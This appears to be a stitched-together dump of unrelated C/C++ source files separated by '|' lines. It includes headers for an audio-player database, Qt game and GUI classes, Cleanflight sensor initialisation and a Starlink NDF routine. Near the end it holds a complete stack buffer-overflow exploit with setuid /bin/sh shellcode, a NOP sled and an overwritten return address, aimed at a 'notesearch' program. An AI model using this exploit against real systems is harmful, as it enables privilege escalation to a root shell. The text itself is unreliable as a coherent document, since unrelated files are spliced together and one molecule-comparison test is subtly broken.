void getYears_cb(bool status, string request, string result, AudioPlayerData data);
void getYearsAlbums_cb(bool status, string request, string result, AudioPlayerData data);
void getPlaylists_cb(bool status, string request, string result, AudioPlayerData data);
void getPlaylistsTracks_cb(bool status, string request, string result, AudioPlayerData data);
void getRadios_cb(bool status, string request, string result, AudioPlayerData data);
void getRadiosItems_cb(bool status, string request, string result, AudioPlayerData data);
void getRandoms_cb(bool status, string request, string result, AudioPlayerData data);
void getRandomType_cb(bool status, string request, string result, AudioPlayerData data);
void getSearch_cb(bool status, string request, string result, AudioPlayerData data);
void getMusicFolder_cb(bool status, string request, string result, AudioPlayerData data);
void getStats_genre_cb(bool status, string request, string result, AudioPlayerData data);
void getStats_artist_cb(bool status, string request, string result, AudioPlayerData data);
void getStats_album_cb(bool status, string request, string result, AudioPlayerData data);
void getStats_song_cb(bool status, string request, string result, AudioPlayerData data);
void getStats_playlist_cb(bool status, string request, string result, AudioPlayerData data);
void getStats_year_cb(bool status, string request, string result, AudioPlayerData data);
void getTrackInfos_cb(bool status, string request, string result, AudioPlayerData data);
public:
SqueezeboxDB(Squeezebox *squeezebox, Params &p);
~SqueezeboxDB();
virtual void getStats(AudioRequest_cb callback, AudioPlayerData user_data = AudioPlayerData());
//Album
virtual void getAlbums(AudioRequest_cb callback, int from, int nb, AudioPlayerData user_data = AudioPlayerData());
virtual void getAlbumsTitles(AudioRequest_cb callback, int from, int nb, string album_id, AudioPlayerData user_data = AudioPlayerData());
//Artist
virtual void getArtists(AudioRequest_cb callback, int from, int nb, AudioPlayerData user_data = AudioPlayerData());
virtual void getArtistsAlbums(AudioRequest_cb callback, int from, int nb, string artist_id, AudioPlayerData user_data = AudioPlayerData());
//Genre
virtual void getGenres(AudioRequest_cb callback, int from, int nb, AudioPlayerData user_data = AudioPlayerData());
virtual void getGenresArtists(AudioRequest_cb callback, int from, int nb, string genre_id, AudioPlayerData user_data = AudioPlayerData());
//Year
virtual void getYears(AudioRequest_cb callback, int from, int nb, AudioPlayerData user_data = AudioPlayerData());
virtual void getYearsAlbums(AudioRequest_cb callback, int from, int nb, string year, AudioPlayerData user_data = AudioPlayerData());
//Playlists
virtual void getPlaylists(AudioRequest_cb callback, int from, int nb, AudioPlayerData user_data = AudioPlayerData());
virtual void getPlaylistsTracks(AudioRequest_cb callback, int from, int nb, string playlist_id, AudioPlayerData user_data = AudioPlayerData());
//Radios
virtual void getRadios(AudioRequest_cb callback, int from, int nb, AudioPlayerData user_data = AudioPlayerData());
virtual void getRadiosItems(AudioRequest_cb callback, int from, int nb, string radio, string item_id = "", string search = "", AudioPlayerData user_data = AudioPlayerData());
//Random
virtual void getRandoms(AudioRequest_cb callback, int from, int nb, AudioPlayerData user_data = AudioPlayerData());
virtual void setRandomsType(string type);
//TODO:Random genre selection with "<playerid> randomplaygenrelist"
virtual void getSearch(AudioRequest_cb callback, int from, int nb, string search, AudioPlayerData user_data = AudioPlayerData());
virtual void getMusicFolder(AudioRequest_cb callback, int from, int nb, string folder_id = "", AudioPlayerData user_data = AudioPlayerData());
virtual void getTrackInfos(AudioRequest_cb callback, string track_id, AudioPlayerData user_data = AudioPlayerData());
//TODO:Favorites
};
}
#endif
|
#include "sae_par.h"
#include "dat_par.h"
#include "ndf1.h"
#include "star/util.h"
void ndf1Dcre( const char *ftype, int ndim, const hdsdim lbnd[],
const hdsdim ubnd[], NdfPCB *pcb, NdfACB **acb, int *status ){
/*
*+
* Name:
* ndf1Dcre
* Purpose:
* Create a simple NDF.
* Synopsis:
* void ndf1Dcre( const char *ftype, int ndim, const hdsdim lbnd[],
* const hdsdim ubnd[], NdfPCB *pcb, NdfACB **acb,
* int *status )
* Description:
* This function creates a simple NDF data object containing just a data
* array component and returns an ACB index which refers to the
* resulting new base NDF. The location of the new object is identified
* by means of an index to a placeholder entry in the PCB. This
* placeholder should later be annulled.
* Parameters:
* ftype
* Pointer to a null terminated string holding the full data type of
* the NDF's data array.
* ndim
* Number of NDF dimensions.
* lbnd
* Lower bounds of the NDF. The supplied "lbnd" array should have at
* least "ndim" elements.
* ubnd
* Upper bounds of the NDF. The supplied "ubnd" array should have at
* least "ndim" elements.
* pcb
* Pointer to a placeholder entry in the PCB which specifies the
* location (and certain properties) of the new NDF.
* *acb
* Pointer to the ACB entry which refers to the new base NDF.
* *status
* The global status.
* Copyright:
* Copyright (C) 2018 East Asian Observatory
* All rights reserved.
* Licence:
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or (at
* your option) any later version.
*
* This program is distributed in the hope that it will be useful,but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street,Fifth Floor, Boston, MA
* 02110-1301, USA
* Authors:
* RFWS: R.F. Warren-Smith (STARLINK)
* DSB: David S. Berry (EAO)
* History:
* 3-APR-2019 (DSB):
* Original version, based on equivalent Fortran function by RFWS.
*-
*/
/* Local Variables: */
AryPlace *place; /* ARY_ placeholder for data array */
NdfDCB *dcb; /* Pointer to data object entry in the DCB */
/* Set an initial value for the "dcb" parameter. */
dcb = NULL;
/* Check inherited global status. */
if( *status != SAI__OK ) return;
/* Obtain a free slot in the DCB. */
dcb = ndf1Ffs( NDF__DCBTYPE, status );
if( *status == SAI__OK ) {
/* Take the default for any wild-carded foreign format information in
the PCB entry and then initialise the new DCB entry with information
derived from the placeholder. */
ndf1Prfor( NULL, pcb, status );
ndf1Pldcb( pcb, dcb, status );
/* Use "hdsTune" to set the optimum number of components in the HDS
structure. */
hdsTune( "NCOMP", 10, status );
/* Create the data array component and store an ARY_ system identifier
for it in the DCB. */
aryPlace( dcb->loc, "DATA_ARRAY", &place, status );
aryNew( ftype, ndim, lbnd, ubnd, &place, &dcb->did, status );
/* Derive the data array component attributes which are needed as
default values for other components. */
aryType( dcb->did, dcb->detyp, status );
aryCmplx( dcb->did, &dcb->decpx, status );
star_strlcpy( dcb->defrm, "SIMPLE", sizeof( dcb->defrm ) );
/* Note whether data array information is available. */
dcb->kd = ( *status == SAI__OK );
/* Create a new base NDF entry in the ACB to describe the new object. */
ndf1Crnbn( dcb, acb, status );
/* If the AUTO_HISTORY tuning parameter is set non-zero, create an
empty history component. */
if( Ndf_TCB_autohistory ) ndf1Hdcre( dcb, status );
/* Assign the name of the data file to the MSG token "NDF_EVENT" */
ndf1Evmsg( "NDF_EVENT", dcb );
/* Raise an NDF event, describing the opening of a new NDF. */
ndf1Event( "OPEN_NEW_NDF", status );
/* If there was an error, then clean up by annulling the identifiers
and locators which may have been acquired. */
if( *status != SAI__OK ) {
aryAnnul( &dcb->did, status );
datAnnul( &dcb->loc, status );
/* Release the allocated DCB slot. */
dcb = ndf1Rls( ( NdfObject * ) dcb, status );
}
}
/* Call error tracing function and exit. */
if( *status != SAI__OK ) ndf1Trace( "ndf1Dcre", status );
}
|
#ifndef __LA_H_INCLUDED__
#define __LA_H_INCLUDED__
enum LAEepromAddress {LA_EEPROM_VERIFY=10,LA_EEPROM_TIME1=11, LA_EEPROM_TIME2=15, LA_EEPROM_CURRENT1=19, LA_EEPROM_CURRENT2=21, LA_EEPROM_POSITION=22}; //if this is changed, then you should change the verification code below
#define LA_EEPROM_VERIFY_CODE 101
//#define LA_WRITEPROTECT
// OUT: motoring out 0->100 direction true (throwTime1 & stallCurrent1)
// IN: motoring in 100->0 direction false (throwTime2 & stallCurrent2)
class LinearActuator{
private:
uint8_t pin_A;
uint8_t pin_B;
//uint8_t pin_enable;
uint8_t pin_current_sense;
uint8_t pin_current_sense_disable;
uint16_t stall_current1;
uint16_t stall_current2;
uint8_t current_position;
uint32_t throw_time1; //when direction=true
uint32_t throw_time2; //when direction=false
uint16_t motor_delay;
uint32_t last_throw_time; //used to get results at the end of last travel
uint16_t last_current; //used to get results at the end of last travel
bool last_throw_timeout; //true if throwtime reached, false if stall current reached
bool last_direction;
void motorControl(bool motor_on, bool direction);
uint16_t readCurrent();
public:
LinearActuator(uint8_t pinA, uint8_t pinB, uint8_t pinCurrentSense, uint8_t pinCurrentSenseDisable);
~LinearActuator();
void setPosition(uint8_t demanded_position); //0 being one end, 100 being the other
void setupPosition(uint8_t position); //'sets' position without moving it (after chip reset etc) 0 being one end, 100 being the other
uint8_t getPosition();
void getThrowResults(bool & timeout, uint32_t & throwTime, int16_t & finalCurrent); //final current sign dependant on direction
void calibrate();
void setStallCurrents(uint16_t stallCurrent1, uint16_t stallCurrent2); //out/in
void setStallCurrent(uint8_t stallCurrentSelect, uint16_t stallCurrent); //1 or 2
uint16_t getStallCurrent(uint8_t stallCurrentSelect); //1 or 2
void setThrowTimes(uint32_t throwTime1, uint32_t throwTime2); //out/in
void setThrowTime(uint8_t throwTimeSelect, uint32_t throwTime); //1 or 2
uint32_t getThrowTime(uint8_t throwTimeSelect); //1 or 2
bool loadEeprom(); //returns true if verification code is correct
void setEeprom(); //set all variables to EEPROM
};
#endif // __LA_H_INCLUDED__
|
/*
* Copyright 2012-2013 Luke Dashjr
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 3 of the License, or (at your option)
* any later version. See COPYING for more details.
*/
#ifndef __COMPAT_H__
#define __COMPAT_H__
#include "config.h"
#ifdef WIN32
#include <winsock2.h>
#endif
#include <stdbool.h>
// NOTE: Nested preprocessor checks since the latter isn't defined at all without the former
#ifdef HAVE_LIBUSB
# if ! HAVE_DECL_LIBUSB_ERROR_NAME
static char my_libusb_error_name_buf[0x10];
# define libusb_error_name(x) (sprintf(my_libusb_error_name_buf, "%d", x), my_libusb_error_name_buf)
# endif
#endif
#ifdef WIN32
#include <errno.h>
#include <time.h>
#include <pthread.h>
#include <sys/time.h>
#include <windows.h>
#ifndef __maybe_unused
#define __maybe_unused __attribute__((unused))
#endif
#ifndef timersub
#define timersub(a, b, result) \
do { \
(result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \
(result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \
if ((result)->tv_usec < 0) { \
--(result)->tv_sec; \
(result)->tv_usec += 1000000; \
} \
} while (0)
#endif
#ifndef timeradd
# define timeradd(a, b, result) \
do { \
(result)->tv_sec = (a)->tv_sec + (b)->tv_sec; \
(result)->tv_usec = (a)->tv_usec + (b)->tv_usec; \
if ((result)->tv_usec >= 1000000) \
{ \
++(result)->tv_sec; \
(result)->tv_usec -= 1000000; \
} \
} while (0)
#endif
// Some versions of MingW define this, but don't handle the timeval.tv_sec case that we use
#ifdef localtime_r
#undef localtime_r
#endif
// localtime is thread-safe on Windows
// We also use this with timeval.tv_sec, which is incorrectly smaller than time_t on Windows
// Need to cast to time_t* to suppress warning - actual problem shouldn't be possible in practice
#define localtime_r(timep, result) ( \
memcpy(result, \
( \
(sizeof(*timep) == sizeof(time_t)) \
? localtime((time_t*)timep) \
: localtime_convert(*timep) \
), \
sizeof(*result) \
) \
)
static inline
struct tm *localtime_convert(time_t t)
{
return localtime(&t);
}
#if !(__MINGW64__)
static inline int nanosleep(const struct timespec *req, struct timespec *rem)
{
struct timeval tstart;
DWORD msecs;
gettimeofday(&tstart, NULL);
msecs = (req->tv_sec * 1000) + ((999999 + req->tv_nsec) / 1000000);
if (SleepEx(msecs, true) == WAIT_IO_COMPLETION) {
if (rem) {
struct timeval tdone, tnow, tleft;
tdone.tv_sec = tstart.tv_sec + req->tv_sec;
tdone.tv_usec = tstart.tv_usec + ((999 + req->tv_nsec) / 1000);
if (tdone.tv_usec > 1000000) {
tdone.tv_usec -= 1000000;
++tdone.tv_sec;
}
gettimeofday(&tnow, NULL);
if (timercmp(&tnow, &tdone, >))
return 0;
timersub(&tdone, &tnow, &tleft);
rem->tv_sec = tleft.tv_sec;
rem->tv_nsec = tleft.tv_usec * 1000;
}
errno = EINTR;
return -1;
}
return 0;
}
static inline int sleep(unsigned int secs)
{
struct timespec req, rem;
req.tv_sec = secs;
req.tv_nsec = 0;
if (!nanosleep(&req, &rem))
return 0;
return rem.tv_sec + (rem.tv_nsec ? 1 : 0);
}
#endif
enum {
PRIO_PROCESS = 0,
};
static inline int setpriority(__maybe_unused int which, __maybe_unused int who, __maybe_unused int prio)
{
return -!SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
}
typedef unsigned long int ulong;
typedef unsigned short int ushort;
typedef unsigned int uint;
#ifndef __SUSECONDS_T_TYPE
typedef long suseconds_t;
#endif
#endif /* WIN32 */
#endif /* __COMPAT_H__ */
|
#include <stdint.h>
#include <string.h>
#include <board-conf.h>
#include <config.h>
#include <flashrom.h>
void config_load(void) {
if (*((uint16_t*) INFOMEM) == CONFIG_KEY) {
memcpy(&sysconfig, (char*) (INFOMEM + sizeof(CONFIG_KEY)), sizeof(sysconfig));
}
else {
config_save();
}
}
uint8_t config_save(void) {
configmem_t mem = { CONFIG_KEY, sysconfig };
return (flashrom_erase((uint8_t*) INFOMEM) && flashrom_write((uint8_t*) INFOMEM, (char*) &mem, sizeof(mem)));
}
|
#ifndef PLAYERPROJECTILE_H
#define PLAYERPROJECTILE_H
#include <QtGui/QMainWindow>
#include <QGraphicsScene>
#include <QGraphicsView>
#include <QGraphicsRectItem>
#include <QTimer>
#include <QTimeLine>
#include <QGraphicsItemAnimation>
#include <QPushButton>
#include <QTextEdit>
#include <QLineEdit>
#include <QListView>
#include <QGraphicsSimpleTextItem>
#include <QGraphicsSceneMouseEvent>
#include "thing.h"
class GameWindow;
/**
This class contains all data necessary to manage the player's Projectile objects.
*/
class PlayerProjectile : public Thing
{
public:
PlayerProjectile(QPixmap &pixmap, GameWindow *parent, QGraphicsScene *scene);
~PlayerProjectile();
void setIntPos(int x, int y);
private:
QGraphicsScene *scene_;
GameWindow *parent_;
public slots:
void move();
};
#endif // PLAYERPROJECTILE_H
|
/*****************************************************************************
The Dark Mod GPL Source Code
This file is part of the The Dark Mod Source Code, originally based
on the Doom 3 GPL Source Code as published in 2011.
The Dark Mod Source Code is free software: you can redistribute it
and/or modify it under the terms of the GNU General Public License as
published by the Free Software Foundation, either version 3 of the License,
or (at your option) any later version. For details, see LICENSE.TXT.
Project: The Dark Mod (http://www.thedarkmod.com/)
$Revision: 5122 $ (Revision of last commit)
$Date: 2011-12-11 19:47:31 +0000 (Sun, 11 Dec 2011) $ (Date of last commit)
$Author: greebo $ (Author of last commit)
******************************************************************************/
#ifndef COLORBUTTON_H_
#define COLORBUTTON_H_
void ColorButton_DrawItem ( HWND hWnd, LPDRAWITEMSTRUCT dis );
void ColorButton_SetColor ( HWND hWnd, COLORREF color );
void ColorButton_SetColor ( HWND hWnd, const char* color );
COLORREF ColorButton_GetColor ( HWND hWnd );
void AlphaButton_SetColor ( HWND hWnd, const char* color );
void AlphaButton_OpenPopup ( HWND button );
#endif // COLORBUTTON_H_
|
#include <stdio.h>
#include <stdlib.h>
typedef struct cvor {
int value;
struct cvor *levi;
struct cvor *desni;
}BCvor;
void delete_tree(BCvor *koren){
if( koren == NULL)
return;
delete_tree(koren->levi);
delete_tree(koren->desni);
free(koren);
}
int sum_listova(BCvor* koren)
{
if (koren == NULL) return 0;
if (koren->levi == NULL && koren->desni == NULL) return koren->value;
return sum_listova(koren->levi) + sum_listova(koren->desni);
}
int max_value(BCvor* koren)
{
if (koren==NULL) return 0;
if (koren->desni==NULL) return koren->value;
return max_value(koren->desni);
}
int debth(BCvor* koren)
{
if (koren==NULL) return 0;
else
{ int dl=debth(koren->levi);
int dd=debth(koren->desni);
return 1 + (dl>dd ? dl:dd);
}
}
void create_bTree(int n, BCvor **koren){
if (n == 0){
(*koren)->levi = NULL;
(*koren)->desni = NULL;
return;
}
(*koren)->value = n;
create_bTree(n-1, &(*koren)->levi);
create_bTree(n-1, &(*koren)->desni);
}
int main(){
BCvor *koren, *new;
koren = NULL;
return 0;
}
|
/****************************************************************************
* Copyright (C) 2009-2013 GGA Software Services LLC
*
* This file is part of Imago OCR project.
*
* This file may be distributed and/or modified under the terms of the
* GNU General Public License version 3 as published by the Free Software
* Foundation and appearing in the file LICENSE.GPL included in the
* packaging of this file.
*
* This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE
* WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
***************************************************************************/
#include <stdio.h>
#include "indigo.h"
int compareMolecules (const char *m1_filename, const char *m2_filename)
{
int m1 = indigoLoadMoleculeFromFile(m1_filename);
int m2 = indigoLoadMoleculeFromFile(m1_filename);
if (indigoExactMatch(m1, m2, "") == 0)
return 0;
return 1;
}
int main (int argc, char *argv[])
{
if (argc < 2)
{
fprintf(stderr, "Usage: <source molfile> <reference file>\n");
return -1;
}
if (compareMolecules(argv[2], argv[3]) == 0)
{
fprintf(stderr, "Recognized molecule doesn't match: %s and %s\n", argv[2], argv[3]);
return -1;
}
printf("Matched.\n");
return 0;
}
|
#ifndef GRIDGRABBER_H
#define GRIDGRABBER_H
//#include <QtGui>
#include "gridobject.h"
#include <QGLViewer/mouseGrabber.h>
class GridGrabber : public QObject, public qglviewer::MouseGrabber, public GridObject
{
Q_OBJECT
public :
GridGrabber();
~GridGrabber();
enum MoveAxis
{
MoveX,
MoveY,
MoveZ,
MoveAll
};
int moveAxis();
void setMoveAxis(int);
int pointPressed();
void mousePosition(int&, int&);
void checkIfGrabsMouse(int, int, const qglviewer::Camera* const);
void mousePressEvent(QMouseEvent* const, qglviewer::Camera* const);
void mouseMoveEvent(QMouseEvent* const, qglviewer::Camera* const);
void mouseReleaseEvent(QMouseEvent* const, qglviewer::Camera* const);
signals :
void selectForEditing(int, int);
void deselectForEditing();
private :
int m_lastX, m_lastY;
int m_pointPressed;
int m_moveAxis;
bool m_pressed;
QPoint m_prevPos;
bool m_moved;
};
#endif
|
// ======================================================================
// This file is a part of the ProgrammerStenoTutor project
//
// Copyright (C) 2017 Vissale NEANG <fromtonrouge at gmail dot com>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// ======================================================================
#pragma once
#include <QtCore/QString>
#include <QtCore/QMetaType>
#include <QtCore/QVariant>
struct ListValue
{
enum NamingPolicy
{
NameIsNotEditable,
NameIsEditable,
NameIsAutoIndexed, ///< eg: [0], [1] etc....
};
ListValue(const QString& sLabel = QString(),
const QVariant& defaultValue = QVariant(),
NamingPolicy namingPolicy = NameIsAutoIndexed,
const QString& sDefaultIconResource = QString(":/Icons/document-attribute.png"))
: sLabel(sLabel)
, defaultValue(defaultValue)
, namingPolicy(namingPolicy)
, sDefaultIconResource(sDefaultIconResource)
{}
QString sLabel;
QVariant defaultValue;
NamingPolicy namingPolicy;
QString sDefaultIconResource;
};
Q_DECLARE_METATYPE(ListValue)
|
#ifndef WINDOW_H
#define WINDOW_H
#include <Urho3D/Urho3D.h>
#include "sceneobject.h"
class Window : public SceneObject
{
URHO3D_OBJECT(Window, SceneObject);
public:
Window(Context* context);
static void RegisterObject(Context* context);
virtual void OnNodeSet(Node* node);
virtual void Update(float timeStep);
static HashMap<int, float> timers_;
void Set(int row, int column);
void LaunchBaby();
private:
Light* light_;
int floor_;
int pId_;
};
#endif // WINDOW_H
|
#include "parse.h"
|
/**
* @file gokand/sensorimpl.h
* @brief A system sensor device back end implementation base class.
*/
/*
* Copyright 2014 Canonical Ltd.
*
* Gokan is free software: you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 3, as published by
* the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY
* WARRANTY; without even the implied warranties of MERCHANTABILITY, SATISDEVICEIMPL
* QUALITY, or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
* License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef GOKAND_SENSORIMPL_H_
#define GOKAND_SENSORIMPL_H_
#include <iosfwd>
#include <memory>
#include <string>
namespace Gokand
{
class SensorImpl
{
public:
virtual
~SensorImpl();
/** Gets the name of the device. */
virtual std::string const&
name() const = 0;
/** Enables the device for data detection. */
virtual void
enable() = 0;
/** Disables the device for data detection. */
virtual void
disable() = 0;
/** Opens a data connection to the device. */
virtual int
open() = 0;
/** Opens a data connection to the device. */
virtual void
close() = 0;
/** Writes descriptive information about the device to a stream. */
virtual std::ostream&
print(std::ostream&) = 0;
};
} // namspace Gokand
#endif /* GOKAND_SENSORIMPL_H */
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.
strcpy(command, "./notesearch.out \'"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // Set return address.
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
|
/*
* This file is part of Cleanflight.
*
* Cleanflight is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Cleanflight is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Cleanflight. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdbool.h>
#include <stdint.h>
#include <string.h>
#include "platform.h"
#include "common/utils.h"
#include "config/config.h"
#include "config/config_eeprom.h"
#include "drivers/logging.h"
#include "fc/runtime_config.h"
#include "sensors/sensors.h"
#include "sensors/acceleration.h"
#include "sensors/barometer.h"
#include "sensors/pitotmeter.h"
#include "sensors/gyro.h"
#include "sensors/compass.h"
#include "sensors/rangefinder.h"
#include "sensors/initialisation.h"
uint8_t requestedSensors[SENSOR_INDEX_COUNT] = { GYRO_AUTODETECT, ACC_NONE, BARO_NONE, MAG_NONE, RANGEFINDER_NONE, PITOT_NONE };
uint8_t detectedSensors[SENSOR_INDEX_COUNT] = { GYRO_NONE, ACC_NONE, BARO_NONE, MAG_NONE, RANGEFINDER_NONE, PITOT_NONE };
bool sensorsAutodetect(const gyroConfig_t *gyroConfig,
accelerometerConfig_t *accConfig,
compassConfig_t *compassConfig,
barometerConfig_t *baroConfig,
pitotmeterConfig_t *pitotConfig)
{
bool eepromUpdatePending = false;
if (!gyroInit(gyroConfig)) {
return false;
}
#ifdef ASYNC_GYRO_PROCESSING
// ACC will be updated at its own rate
accInit(accConfig, getAccUpdateRate());
#else
// acc updated at same frequency in taskMainPidLoop in mw.c
accInit(accConfig, gyro.targetLooptime);
#endif
#ifdef BARO
baroDetect(&baro.dev, baroConfig->baro_hardware);
#else
UNUSED(baroConfig);
#endif
#ifdef PITOT
pitotDetect(&pitot.dev, pitotConfig->pitot_hardware);
#else
UNUSED(pitotConfig);
#endif
// FIXME extract to a method to reduce dependencies, maybe move to sensors_compass.c
mag.magneticDeclination = 0.0f; // TODO investigate if this is actually needed if there is no mag sensor or if the value stored in the config should be used.
#ifdef MAG
if (compassDetect(&mag.dev, compassConfig->mag_hardware)) {
// calculate magnetic declination
if (!compassInit(compassConfig)) {
addBootlogEvent2(BOOT_EVENT_MAG_INIT_FAILED, BOOT_EVENT_FLAGS_ERROR);
sensorsClear(SENSOR_MAG);
}
}
#else
UNUSED(compassConfig);
#endif
#ifdef SONAR
const rangefinderType_e rangefinderType = rangefinderDetect();
rangefinderInit(rangefinderType);
#endif
if (gyroConfig->gyro_align != ALIGN_DEFAULT) {
gyro.dev.gyroAlign = gyroConfig->gyro_align;
}
if (accConfig->acc_align != ALIGN_DEFAULT) {
acc.dev.accAlign = accConfig->acc_align;
}
if (compassConfig->mag_align != ALIGN_DEFAULT) {
mag.dev.magAlign = compassConfig->mag_align;
}
/* Check if sensor autodetection was requested for some sensors and */
if (accConfig->acc_hardware == ACC_AUTODETECT) {
accConfig->acc_hardware = detectedSensors[SENSOR_INDEX_ACC];
eepromUpdatePending = true;
}
if (baroConfig->baro_hardware == BARO_AUTODETECT) {
baroConfig->baro_hardware = detectedSensors[SENSOR_INDEX_BARO];
eepromUpdatePending = true;
}
if (compassConfig->mag_hardware == MAG_AUTODETECT) {
compassConfig->mag_hardware = detectedSensors[SENSOR_INDEX_MAG];
eepromUpdatePending = true;
}
if (pitotConfig->pitot_hardware == PITOT_AUTODETECT) {
pitotConfig->pitot_hardware = detectedSensors[SENSOR_INDEX_PITOT];
eepromUpdatePending = true;
}
if (eepromUpdatePending) {
writeEEPROM();
}
return true;
}
|
#define QOP_Precision 'F'
#define QDP_Precision 'F'
#define QLA_Precision 'F'
#include "lcomplex.c"
|
struct mypacket;
int x15_setup();
int x15_teardown();
int x15_process_syn(struct mypacket *packet);
int x15_process_synack(struct mypacket *packet);
int x15_failed();
|
/// Copyright 2010-2012 4kdownload.com (developers@4kdownload.com)
/**
This file is part of 4k Download.
4k Download is free software; you can redistribute it and/or modify
it under the terms of the one of two licenses as you choose:
1. GNU GENERAL PUBLIC LICENSE Version 3
(See file COPYING.GPLv3 for details).
2. 4k Download Commercial License
(Send request to developers@4kdownload.com for details).
*/
#ifndef MAINVIEWMODEL_H
#define MAINVIEWMODEL_H
#include <QObject>
#include <QAction>
#include "viewmodel/downloadlistviewmodel.h"
#include "mvvm/cxx/dialog.h"
#include "componentmodel/notifyobject.h"
#include "componentmodel/notifyselection.h"
#include "componentmodel/propertybinding.h"
#include "componentmodel/objectlessor.h"
#include "multimedia/audioplayer.h"
#include "openmedia/DTMediaDownloader.h"
namespace ViewModel
{
class MainViewModel : public ComponentModel::NotifyObject
{
Q_OBJECT
Q_PROPERTY(QAction* pasteAction READ pasteAction)
Q_PROPERTY(QAction* browseAction READ browseAction)
Q_PROPERTY(QAction* informationAction READ informationAction)
Q_PROPERTY(QAction* removeAction READ removeAction)
Q_PROPERTY(QAction* clearAction READ clearAction)
Q_PROPERTY(QAction* pauseAllAction READ pauseAllAction)
Q_PROPERTY(QAction* resumeAllAction READ resumeAllAction)
Q_PROPERTY(QAction* facebookAction READ facebookAction)
public:
MainViewModel(const Mvvm::Dialog* dialog, QObject* parent = 0);
virtual ~MainViewModel();
DownloadListViewModel* list();
ComponentModel::NotifySelection* selection();
QAction* pasteAction();
QAction* browseAction();
QAction* informationAction();
QAction* removeAction();
QAction* clearAction();
QAction* pauseAllAction();
QAction* resumeAllAction();
QAction* facebookAction();
Q_INVOKABLE bool canClose();
public slots:
void showMessage(QString message) const;
void showUpdate(QString message, bool& needUpdate) const;
signals:
void downloadCompleted();
protected:
void save();
void restore();
void updateActions(int index);
protected slots:
void paste();
void browse();
void information();
void removeItem();
void clearItems();
void pauseItems();
void resumeItems();
void openFacebook();
void onListChanged(const ComponentModel::ListChangedSignalArgs& args);
void onSelectionChanged(const ComponentModel::SelectionChangedSignalArgs& args);
void onItemPropertyChanged(const ComponentModel::PropertyChangedSignalArgs& args);
void onItemParsed(openmedia::downloader::url_parser_result_ptr result);
void onItemDownloadCompleted();
void onItemPlayerCompleted();
void updatePasteAction();
private:
QWeakPointer<const Mvvm::Dialog> m_dialog;
QScopedPointer<Multimedia::AudioPlayer> m_player;
QSharedPointer<ComponentModel::ObjectLessor> m_playerLessor;
DownloadListViewModel m_list;
ComponentModel::NotifySelection m_selection;
QAction m_pasteAction;
QAction m_browseAction;
QAction m_informationAction;
QAction m_removeAction;
QAction m_clearAction;
QAction m_pauseAllAction;
QAction m_resumeAllAction;
QAction m_facebookAction;
};
} // ViewModel
#endif // MAINVIEWMODEL_H
|
#ifndef PROPERTYTYPE_H
#define PROPERTYTYPE_H
#include <QVariant>
#include <QColor>
#include <QVector2D>
#include <QVector3D>
namespace iris
{
enum class PropertyType
{
None,
Bool,
Int,
Float,
Vec2,
Vec3,
Color,
Texture,
File,
List
};
struct Property
{
unsigned id;
QString displayName;
QString name;
QString uniform;
PropertyType type;
virtual QVariant getValue() = 0;
virtual void setValue(QVariant val) = 0;
};
class PropertyListener
{
public:
virtual void onPropertyChanged(Property*) = 0;
virtual void onPropertyChangeStart(Property*) = 0;
virtual void onPropertyChangeEnd(Property*) = 0;
};
struct BoolProperty : public Property
{
bool value;
BoolProperty () {
type = PropertyType::Bool;
value = false;
}
QVariant getValue() {
return value;
}
void setValue(QVariant val) {
value = val.toBool();
}
};
struct IntProperty : public Property
{
int value;
int minValue;
int maxValue;
IntProperty() {
type = PropertyType::Int;
}
QVariant getValue() {
return value;
}
void setValue(QVariant val) {
value = val.toInt();
}
};
struct FloatProperty : public Property
{
float value;
float minValue;
float maxValue;
FloatProperty() {
type = PropertyType::Float;
}
QVariant getValue() {
return QVariant::fromValue(value);
}
void setValue(QVariant val) {
value = val.toFloat();
}
};
